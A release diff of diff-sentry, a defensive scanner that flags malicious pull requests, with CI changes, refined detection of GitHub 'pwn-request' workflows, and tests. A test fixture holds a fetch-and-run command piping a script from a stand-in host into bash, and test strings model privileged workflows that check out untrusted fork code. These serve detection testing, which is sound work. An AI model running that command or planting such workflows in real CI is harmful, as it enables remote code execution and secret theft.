diff-sentry 0.4.0__tar.gz → 0.4.1__tar.gz

{diff_sentry-0.4.0 → diff_sentry-0.4.1}/.github/workflows/ci.yml

@@ -102,6 +102,34 @@ jobs:
             eval/diff_sentry_eval/taskset.py
             *.md
 
+  # The self-scan job above runs with `version: local` on purpose, so it scans a PR with the rules IN
+  # that PR. That leaves the path a CONSUMER actually takes -- `uvx diff-sentry==<released>` from PyPI --
+  # covered by nothing: a quoting or resolution bug there would break every install while our own CI
+  # stayed green. This job exercises exactly that line against a known-malicious fixture.
+  consumer-install:
+    name: consumer install path (PyPI)
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - name: Install uv
+        uses: astral-sh/setup-uv@d4b2f3b6ecc6e67c4457f6d3e41ec42d3d0fcb86 # v5.4.2
+        with:
+          enable-cache: true
+      - name: The released package installs from PyPI and flags a malicious diff
+        run: |
+          set -euo pipefail
+          ver=$(uv run --no-project --with pyyaml python -c \
+                "import yaml;print(yaml.safe_load(open('action.yml'))['inputs']['version']['default'])")
+          echo "action.yml default version: $ver"
+          # The fixture lives under tests/ (a report-only path) rather than inline here. This file is in
+          # the GATED half, so a payload written into it fails our own scan -- which is exactly what
+          # happened to the first version of this job. Payload samples belong where payloads are allowed.
+          # Must exit non-zero: a package that installs but scans nothing would otherwise pass silently.
+          if uvx "diff-sentry==${ver}" scan tests/fixtures/known-malicious.diff; then
+            echo "::error::the published package did not flag a known-malicious diff"
+            exit 1
+          fi
+
   lint:
     name: ruff
     runs-on: ubuntu-latest

{diff_sentry-0.4.0 → diff_sentry-0.4.1}/.github/workflows/release.yml

@@ -57,9 +57,14 @@ jobs:
           tag="${TAG#v}"
           wheel=$(basename dist/*.whl | cut -d- -f2)
           installed=$(/tmp/smoke/bin/python -c "import diff_sentry; print(diff_sentry.__version__)")
-          echo "tag=$tag wheel=$wheel installed=$installed"
-          if [ "$tag" != "$wheel" ] || [ "$wheel" != "$installed" ]; then
-            echo "::error::version mismatch — tag=$tag wheel=$wheel installed=$installed"
+          # action.yml's `version` default decides which release a consumer's `uses: …@vX.Y.Z` actually
+          # runs. Left stale it is silent and nasty: the new action tag would install an OLD scanner, so
+          # a user who upgraded to get a new rule would not get it and nothing would say so.
+          action=$(/tmp/smoke/bin/python -c "import yaml;print(yaml.safe_load(open('action.yml'))['inputs']['version']['default'])" 2>/dev/null \
+                   || uv run --no-project --with pyyaml python -c "import yaml;print(yaml.safe_load(open('action.yml'))['inputs']['version']['default'])")
+          echo "tag=$tag wheel=$wheel installed=$installed action.yml=$action"
+          if [ "$tag" != "$wheel" ] || [ "$wheel" != "$installed" ] || [ "$installed" != "$action" ]; then
+            echo "::error::version mismatch — tag=$tag wheel=$wheel installed=$installed action.yml=$action"
             exit 1
           fi
 
@@ -95,4 +100,4 @@ jobs:
           name: dist
           path: dist/
       - name: Publish to PyPI
-        uses: pypa/gh-action-pypi-publish@cef221092ed1bacb1cc03d23a2d87d1d172e277b # v1.14.0
+        uses: pypa/gh-action-pypi-publish@dc37677b2e1c63e2034f94d8a5b11f265b73ba33 # v1.14.2

{diff_sentry-0.4.0 → diff_sentry-0.4.1}/CHANGELOG.md

@@ -5,6 +5,36 @@ malicious intent — the diff held as **untrusted data** in a sandboxed REPL, a
 and deterministic indicator evidence unioned on read into a SIEM signal — as a traced, improvable RLM
 framework on [`rlm-harness`](https://github.com/qazbnm456/rlm-harness) (a BewAIre-style detector).
 
+## 0.4.1
+
+A correctness release for one rule: `pwn-request` was failing the very pattern this
+project's README tells people to use.
+
+### Changed
+- **`pypa/gh-action-pypi-publish` bumped to v1.14.2** (from v1.14.0). `uv build` now emits core
+  metadata 2.5, and the twine bundled in v1.14.0 rejects it — `InvalidDistribution: '2.5' is not a
+  valid metadata version` — so the first attempt at this release built cleanly and then failed at
+  the upload step. v1.14.2 carries Twine 7, which accepts metadata 2.5.
+
+### Fixed
+- **`pwn-request` no longer fires on a workflow that merely READS the PR head.** The rule paired a
+  privileged trigger with a PR-HEAD *mention* anywhere in the text and called that a checkout, so the
+  validating-publisher shape — `workflow_run`, head SHA in an env var, checkout pinned to the default
+  branch — was graded `critical`, identically to the attack. That is the shape README.md tells people to
+  use, next to the sentence "diff-sentry's own rules make the same distinction, so the safe shape does
+  not trip them"; it did trip them. Escalation now requires the expression to actually reach a checkout:
+  an `actions/checkout` `ref:` value, or a `git checkout`/`git fetch`/`gh pr checkout` command. A bare
+  mention keeps the sub-floor `medium` `privileged-fork-trigger`, cited at the reference rather than the
+  trigger line so a reviewer still lands on the spot worth reading. Found by running the action against
+  a real publisher workflow.
+- **`pwn-request` now follows one binding hop.** `HEAD: ${{ github.event.pull_request.head.sha }}`
+  followed by `ref: ${{ env.HEAD }}` is the same attack split across two lines. Requiring the expression
+  to sit on the `ref:` line would have turned the fix above into a free bypass, so a name bound to the
+  head expression is tracked and a `ref:` that reads it counts as the checkout.
+- **`refs/pull/…` matching tolerates interpolation.** `refs/pull/${{ github.event.number }}/head` — the
+  form that actually appears in the wild — was missed, because the character class stopped at the space
+  inside the expression. A hand-rolled `git fetch` of the PR head is caught now.
+
 ## 0.4.0
 
 The first release, and a repositioning: the front door is now a GitHub Action anyone installs in fifteen

{diff_sentry-0.4.0 → diff_sentry-0.4.1}/PKG-INFO

@@ -1,6 +1,6 @@
-Metadata-Version: 2.4
+Metadata-Version: 2.5
 Name: diff-sentry
-Version: 0.4.0
+Version: 0.4.1
 Summary: Catch malicious pull requests before they merge: scan a diff for supply-chain attack patterns with deterministic evidence a model cannot suppress.
 Author: Boik Su
 License-Expression: MIT
@@ -44,11 +44,10 @@ jobs:
       - uses: actions/checkout@v4
         with:
           fetch-depth: 0          # the scan diffs against the PR base
-      - uses: qazbnm456/diff-sentry@main
+      - uses: qazbnm456/diff-sentry@v0.4.1
 ```
 
-That is the whole setup. The job fails when an indicator at or above `high` fires. Pin to a released
-tag rather than `main` once you depend on it.
+That is the whole setup. The job fails when an indicator at or above `high` fires.
 
 ## What it catches
 
@@ -79,7 +78,7 @@ payload does not flag the change that removes it.
 | `fail-on` | `high` | Severity that fails the build (`info`/`low`/`medium`/`high`/`critical`). |
 | `report-only-paths` | none | Newline-separated globs scanned but never gated. For files whose job is to carry attack patterns: rule bodies, security fixtures, prompt templates, docs that tabulate payloads. |
 | `base-sha` | derived | Override the commit to diff against. |
-| `version` | `main` | The diff-sentry ref to run. Pin it for reproducible CI. `local` installs from the current checkout, which is how this repo scans its own PRs with the rules in that PR. |
+| `version` | matches the action tag | The diff-sentry release to install from PyPI. `local` installs from the current checkout instead, which is how this repo scans its own PRs with the rules in that PR. |
 
 Outputs: `failed`, `hit-count`, `max-severity`, and `report` (a JSON path).
 

{diff_sentry-0.4.0 → diff_sentry-0.4.1}/README.md

@@ -23,11 +23,10 @@ jobs:
       - uses: actions/checkout@v4
         with:
           fetch-depth: 0          # the scan diffs against the PR base
-      - uses: qazbnm456/diff-sentry@main
+      - uses: qazbnm456/diff-sentry@v0.4.1
 ```
 
-That is the whole setup. The job fails when an indicator at or above `high` fires. Pin to a released
-tag rather than `main` once you depend on it.
+That is the whole setup. The job fails when an indicator at or above `high` fires.
 
 ## What it catches
 
@@ -58,7 +57,7 @@ payload does not flag the change that removes it.
 | `fail-on` | `high` | Severity that fails the build (`info`/`low`/`medium`/`high`/`critical`). |
 | `report-only-paths` | none | Newline-separated globs scanned but never gated. For files whose job is to carry attack patterns: rule bodies, security fixtures, prompt templates, docs that tabulate payloads. |
 | `base-sha` | derived | Override the commit to diff against. |
-| `version` | `main` | The diff-sentry ref to run. Pin it for reproducible CI. `local` installs from the current checkout, which is how this repo scans its own PRs with the rules in that PR. |
+| `version` | matches the action tag | The diff-sentry release to install from PyPI. `local` installs from the current checkout instead, which is how this repo scans its own PRs with the rules in that PR. |
 
 Outputs: `failed`, `hit-count`, `max-severity`, and `report` (a JSON path).
 

{diff_sentry-0.4.0 → diff_sentry-0.4.1}/action.yml

@@ -35,12 +35,16 @@ inputs:
     default: ''
   version:
     description: >-
-      The diff-sentry version to run: a git ref while the package is pre-PyPI, so
-      pin it for reproducible CI. The special value `local` installs from the
-      current checkout instead, which is what this repo's own CI uses so that a PR
-      is scanned by the rules IN that PR rather than by the ones already on main.
+      The diff-sentry release to install from PyPI. Defaults to the version that
+      ships with this action tag, so `uses: …@vX.Y.Z` and the package it runs stay
+      in step. The special value `local` installs from the current checkout instead,
+      which is what this repo's own CI uses so that a PR is scanned by the rules IN
+      that PR rather than by the ones already on main.
     required: false
-    default: 'main'
+    # KEEP IN STEP WITH [project].version. release.yml fails the build if this drifts
+    # from the tag being released, because a stale default here would silently run an
+    # old scanner under a new action tag.
+    default: '0.4.1'
 
 outputs:
   failed:
@@ -120,7 +124,7 @@ runs:
         if [ "$IN_VERSION" = "local" ]; then
           SENTRY=(uvx --from "$GITHUB_WORKSPACE" diff-sentry)
         else
-          SENTRY=(uvx --from "git+https://github.com/qazbnm456/diff-sentry@${IN_VERSION}" diff-sentry)
+          SENTRY=(uvx "diff-sentry==${IN_VERSION}")
         fi
 
         set +e

{diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/__init__.py

@@ -68,7 +68,7 @@ __all__ = [
     "detect_from_event",
 ]
 
-__version__ = "0.4.0"
+__version__ = "0.4.1"
 
 
 def __getattr__(name: str):  # PEP 562 — defer the dspy import to first use

{diff_sentry-0.4.0 → diff_sentry-0.4.1}/diff_sentry/indicators.py

@@ -127,9 +127,36 @@ _WRITE_ALL_RE = re.compile(r"^[+ ]?\s*permissions\s*:\s*write-all\b", re.IGNOREC
 # AsyncAPI "Miasma" supply-chain compromise (a fork PR harvested the org-admin token out of the runner),
 # and it has no safe reading → `critical`.
 _PRIV_TRIGGER_RE = re.compile(r"^[+ ]?\s*(?:pull_request_target|workflow_run)\s*:", re.MULTILINE)
-_PR_HEAD_REF_RE = re.compile(
-    r"github\.event\.pull_request\.head\.(?:sha|ref)|github\.event\.workflow_run\.head_(?:sha|branch)|"
-    r"refs/pull/[^\s\"']*/(?:head|merge)", re.IGNORECASE)
+
+# The PR-HEAD expressions themselves, shared by the two patterns below — which differ only in what they
+# require the expression to DO. A bare MENTION is not a checkout: the recommended `workflow_run`
+# publisher (the safe way to comment on a fork PR, since `pull_request` hands forks a read-only token)
+# reads `workflow_run.head_sha` precisely to VALIDATE the artifact it was given, and gating on the
+# mention alone failed that pattern exactly as hard as the attack it is meant to catch.
+_PR_HEAD_EXPR = (r"github\.event\.pull_request\.head\.(?:sha|ref)"
+                 r"|github\.event\.workflow_run\.head_(?:sha|branch)"
+                 # The interpolated form `refs/pull/${{ github.event.number }}/head` is the one that
+                 # actually appears in the wild; a bare `[^\s"']*` stops at the space inside the
+                 # expression, so the interpolation blob is spelled out as its own alternative.
+                 r"|refs/pull/(?:\$\{\{[^{}]*\}\}|[^\s\"'])*/(?:head|merge)")
+_PR_HEAD_REF_RE = re.compile(_PR_HEAD_EXPR, re.IGNORECASE)
+
+# The expression BECOMING a checkout: an `actions/checkout` `ref:` value, or a git/gh command that
+# fetches or checks it out.
+_PR_HEAD_CHECKOUT_RE = re.compile(
+    rf"^[+ ]?\s*ref\s*:[^\n]*(?:{_PR_HEAD_EXPR})"
+    rf"|(?:git\s+(?:checkout|fetch|pull)|gh\s+pr\s+checkout)[^\n]*(?:{_PR_HEAD_EXPR})",
+    re.IGNORECASE | re.MULTILINE)
+
+# One hop of indirection — the same lethal shape written as two lines:
+#     HEAD: ${{ github.event.pull_request.head.sha }}   …   ref: ${{ env.HEAD }}
+# Matching only the direct form would leave that as a trivial bypass, so a name bound to the head
+# expression is tracked and a `ref:` that reads it counts as the checkout.
+_HEAD_BINDING_RE = re.compile(
+    rf"^[+ ]?\s*([A-Za-z_][A-Za-z0-9_-]*)\s*[:=]\s*[^\n]*(?:{_PR_HEAD_EXPR})",
+    re.IGNORECASE | re.MULTILINE)
+_REF_VALUE_RE = re.compile(r"^[+ ]?\s*ref\s*:\s*([^\n]*)", re.IGNORECASE | re.MULTILINE)
+_IDENT_RE = re.compile(r"[A-Za-z_][A-Za-z0-9_-]*")
 
 # Diff-PRESENTATION evasion — attacks aimed at the human reading the diff, not at the runtime. Miasma
 # prepended ~700 spaces to shove its payload off the right edge of a standard diff viewer. No source
@@ -281,16 +308,40 @@ def _scan_workflow_perms(text: str) -> list[IndicatorHit]:
             for m in _WRITE_ALL_RE.finditer(text)]
 
 
+def _pr_head_checkout(text: str) -> re.Match[str] | None:
+    """Where a PR-HEAD expression actually reaches a checkout — directly, or through one binding."""
+    direct = _PR_HEAD_CHECKOUT_RE.search(text)
+    if direct:
+        return direct
+    # `ref:` is not a binding — a `ref:` holding the expression IS the direct case above.
+    bound = {m.group(1).lower() for m in _HEAD_BINDING_RE.finditer(text)} - {"ref"}
+    if not bound:
+        return None
+    for m in _REF_VALUE_RE.finditer(text):
+        if any(name.lower() in bound for name in _IDENT_RE.findall(m.group(1))):
+            return m
+    return None
+
+
 def _scan_workflow_config(text: str) -> list[IndicatorHit]:
     """What a workflow BECOMES, not merely that one was touched (`workflow-tamper`'s job)."""
     trigger = _PRIV_TRIGGER_RE.search(text)
     if not trigger:
         return []
-    head = _PR_HEAD_REF_RE.search(text)
-    if head:
+    checkout = _pr_head_checkout(text)
+    if checkout:
         return [_hit("pwn-request", "critical",
                      "privileged fork trigger checks out the PR HEAD — untrusted code with the base "
                      "repo's token/secrets",
+                     _snip(text, checkout.start(), checkout.end()))]
+    head = _PR_HEAD_REF_RE.search(text)
+    if head:
+        # Reads the head ref without checking it out. That is the validating-publisher shape, which is
+        # the RECOMMENDED way to comment on a fork PR — so it stays sub-floor, but it is cited rather
+        # than the trigger line, because this is the spot a reviewer should look at.
+        return [_hit("privileged-fork-trigger", "medium",
+                     "`pull_request_target`/`workflow_run` reads the PR HEAD without checking it out — "
+                     "confirm the ref never reaches a checkout",
                      _snip(text, head.start(), head.end()))]
     return [_hit("privileged-fork-trigger", "medium",
                  "`pull_request_target`/`workflow_run` — a fork PR runs in a privileged context",

{diff_sentry-0.4.0 → diff_sentry-0.4.1}/pyproject.toml

@@ -1,6 +1,6 @@
 [project]
 name = "diff-sentry"
-version = "0.4.0"
+version = "0.4.1"
 description = "Catch malicious pull requests before they merge: scan a diff for supply-chain attack patterns with deterministic evidence a model cannot suppress."
 readme = "README.md"
 requires-python = ">=3.11"

diff_sentry-0.4.1/tests/fixtures/known-malicious.diff

@@ -0,0 +1 @@
++run: curl http://evil.example/p | bash

{diff_sentry-0.4.0 → diff_sentry-0.4.1}/tests/test_indicators.py

@@ -104,6 +104,26 @@ _PWN = ("on:\n  pull_request_target:\n    types: [opened]\njobs:\n  p:\n    step
         "          ref: ${{ github.event.pull_request.head.sha }}\n")
 _LABEL_BOT = "on:\n  pull_request_target:\n    types: [opened]\njobs:\n  l:\n    steps:\n      - uses: actions/labeler@v5\n"
 
+# The RECOMMENDED way to comment on a fork PR: `pull_request` hands a fork a read-only token, so the
+# verdict is produced by an unprivileged run and published from `workflow_run`, which reads the head SHA
+# only to CHECK that the artifact belongs to the PR it claims. It checks out the default branch.
+_SAFE_PUBLISHER = (
+    "on:\n  workflow_run:\n    workflows: [\"PR auto-review\"]\n    types: [completed]\n"
+    "permissions:\n  pull-requests: write\njobs:\n  publish:\n    steps:\n"
+    "      - uses: actions/checkout@v4\n        with:\n"
+    "          ref: ${{ github.event.repository.default_branch }}\n"
+    "      - run: python3 scripts/publish.py\n        env:\n"
+    "          EXPECTED_SHA: ${{ github.event.workflow_run.head_sha }}\n")
+# The same lethal shape as _PWN, written across two lines to dodge a single-line match.
+_PWN_INDIRECT = (
+    "on:\n  pull_request_target:\n    types: [opened]\nenv:\n"
+    "  HEAD_REF: ${{ github.event.pull_request.head.sha }}\njobs:\n  p:\n    steps:\n"
+    "      - uses: actions/checkout@v4\n        with:\n          ref: ${{ env.HEAD_REF }}\n")
+# Checkout by hand rather than through actions/checkout.
+_PWN_GIT_FETCH = (
+    "on:\n  pull_request_target:\n    types: [opened]\njobs:\n  p:\n    steps:\n"
+    "      - run: git fetch origin refs/pull/${{ github.event.number }}/head && git checkout FETCH_HEAD\n")
+
 
 def test_pwn_request_is_critical_but_bare_privileged_trigger_is_sub_floor():
     """The root cause of Miasma. `pull_request_target` PLUS a PR-head checkout runs attacker code with
@@ -118,6 +138,31 @@ def test_pwn_request_is_critical_but_bare_privileged_trigger_is_sub_floor():
     assert trig and trig[0].severity == "medium"
 
 
+def test_pwn_request_needs_a_checkout_not_a_mention():
+    """Reading the PR head is not checking it out. The validating publisher — `workflow_run`, head SHA
+    in an env var, checkout pinned to the default branch — is the pattern GitHub recommends for fork
+    PRs, and it must not be graded as the attack it exists to avoid. It stays a sub-floor `medium`,
+    cited at the head reference so a reviewer still looks there."""
+    hits = scan_indicators(_SAFE_PUBLISHER)
+    assert "pwn-request" not in _rules(hits)
+    trig = [h for h in hits if h.rule == "privileged-fork-trigger"]
+    assert trig and trig[0].severity == "medium"
+    assert "workflow_run.head_sha" in trig[0].evidence
+
+
+def test_pwn_request_follows_one_binding_hop():
+    """`ref:` reading a name bound to the head expression elsewhere in the file is the same attack with
+    an extra line. Requiring the expression to sit ON the `ref:` line would make that a free bypass."""
+    hits = [h for h in scan_indicators(_PWN_INDIRECT) if h.rule == "pwn-request"]
+    assert hits and hits[0].severity == "critical"
+
+
+def test_pwn_request_catches_a_hand_rolled_checkout():
+    """The dangerous fetch does not have to go through actions/checkout."""
+    hits = [h for h in scan_indicators(_PWN_GIT_FETCH) if h.rule == "pwn-request"]
+    assert hits and hits[0].severity == "critical"
+
+
 def test_detects_whitespace_shove_wherever_it_sits():
     """Miasma PREPENDED ~700 spaces to push the payload off the diff viewport. A run that size mid-line
     conceals just as well, so the rule is not line-anchored — but ordinary indentation must stay silent."""

{diff_sentry-0.4.0 → diff_sentry-0.4.1}/uv.lock

@@ -513,7 +513,7 @@ wheels = [
 
 [[package]]
 name = "diff-sentry"
-version = "0.4.0"
+version = "0.4.1"
 source = { editable = "." }
 dependencies = [
     { name = "httpx" },